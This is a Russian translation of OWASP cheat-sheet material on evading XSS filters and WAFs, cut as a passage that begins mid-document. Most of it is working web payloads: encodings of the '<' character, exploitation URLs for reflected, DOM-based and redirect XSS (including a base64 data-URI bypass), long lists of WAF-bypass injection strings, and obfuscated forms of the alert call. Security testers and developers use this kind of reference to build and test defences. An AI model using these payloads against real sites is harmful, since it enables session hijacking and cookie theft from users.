Итог: основной недостаток — доверие к content_type на Share без кодирования и проверки входных данных. HPP может повысить влияние XSS: от отражённого к сохранённому.

Экранирующие последовательности символов

Варианты записи символа \< в HTML и JavaScript. Большинство сами по себе не отображаются, но в ряде условий (как выше) могут быть разобраны браузером.

  • <
  • %3C
  • &lt
  • &lt;
  • &LT
  • &LT;
  • &#60;
  • &#060;
  • &#0060;
  • &#00060;
  • &#000060;
  • &#0000060;
  • &#60;
  • &#060;
  • &#0060;
  • &#00060;
  • &#000060;
  • &#0000060;
  • &#x3c;
  • &#x03c;
  • &#x003c;
  • &#x0003c;
  • &#x00003c;
  • &#x000003c;
  • &#x3c;
  • &#x03c;
  • &#x003c;
  • &#x0003c;
  • &#x00003c;
  • &#x000003c;
  • &#X3c;
  • &#X03c;
  • &#X003c;
  • &#X0003c;
  • &#X00003c;
  • &#X000003c;
  • &#X3c;
  • &#X03c;
  • &#X003c;
  • &#X0003c;
  • &#X00003c;
  • &#X000003c;
  • &#x3C;
  • &#x03C;
  • &#x003C;
  • &#x0003C;
  • &#x00003C;
  • &#x000003C;
  • &#x3C;
  • &#x03C;
  • &#x003C;
  • &#x0003C;
  • &#x00003C;
  • &#x000003C;
  • &#X3C;
  • &#X03C;
  • &#X003C;
  • &#X0003C;
  • &#X00003C;
  • &#X000003C;
  • &#X3C;
  • &#X03C;
  • &#X003C;
  • &#X0003C;
  • &#X00003C;
  • &#X000003C;
  • \x3c
  • \x3C
  • \u003c
  • \u003C

Обход WAF при XSS

Общие замечания

Stored XSS

Если атакующий провёл XSS через фильтр, WAF не помешает дальнейшему выполнению атаки.

Отражённый XSS в JavaScript

Пример:

<script> ... setTimeout(\\"writetitle()\\",$\_GET\[xss\]) ... </script>

Эксплуатация:

/?xss=500); alert(document.cookie);//

DOM-based XSS

Пример:

<script> ... eval($\_GET\[xss\]); ... </script>

Эксплуатация:

/?xss=document.cookie

XSS через перенаправление запроса

Уязвимый код:

...
header('Location: '.$_GET['param']);
...

Также:

...
header('Refresh: 0; URL='.$_GET['param']);
...

Такой запрос WAF отсечёт:

/?param=<javascript:alert(document.cookie>)

Такой запрос пройдёт WAF, а XSS выполнится в ряде браузеров:

/?param=<data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=

Строки обхода WAF для XSS

  • <Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
  • <Video> <source onerror = "javascript: alert (XSS)">
  • <Input value = "XSS" type = text>
  • <applet code="javascript:confirm(document.cookie);">
  • <isindex x="javascript:" onmouseover="alert(XSS)">
  • "></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
  • "><img src="x:x" onerror="alert(XSS)">
  • "><iframe src="javascript:alert(XSS)">
  • <object data="javascript:alert(XSS)">
  • <isindex type=image src=1 onerror=alert(XSS)>
  • <img src=x:alert(alt) onerror=eval(src) alt=0>
  • <img src="x:gif" onerror="window['al\u0065rt'](0)"></img>
  • <iframe/src="data:text/html,<svg onload=alert(1)>">
  • <meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
  • <svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script
  • <meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
  • <iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
  • <form><a href="javascript:\u0061lert(1)">X
  • </script><img/*%00/src="worksinchrome&colon;prompt(1)"/%00*/onerror='eval(src)'>
  • <style>//*{x:expression(alert(/xss/))}//<style></style>

При наведении мыши:

  • <img src="/" =_=" title="onerror='prompt(1)'">
  • <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe
  • <script x> alert(1) </script 1=2
  • <form><button formaction=javascript&colon;alert(1)>CLICKME
  • <input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
  • <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
  • <OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>

Обфускация вызова alert для обхода фильтра

  • (alert)(1)
  • a=alert,a(1)
  • [1].find(alert)
  • top[“al”+”ert”](1)
  • top[/al/.source+/ert/.source](1)
  • al\u0065rt(1)
  • top[‘al\145rt’](1)
  • top[‘al\x65rt’](1)
  • top[8680439..toString(30)](1)
  • alert?.()
  • (alert())

В нагрузке следует указать ведущий и завершающий обратный апостроф (backtick):

&#96;`${alert``}`&#96;

© Перевод на русский язык. Оригинальные материалы: OWASP Cheat Sheet Series.
Этот проект использует материалы OWASP, распространяемые по лицензии CC BY-SA 4.0.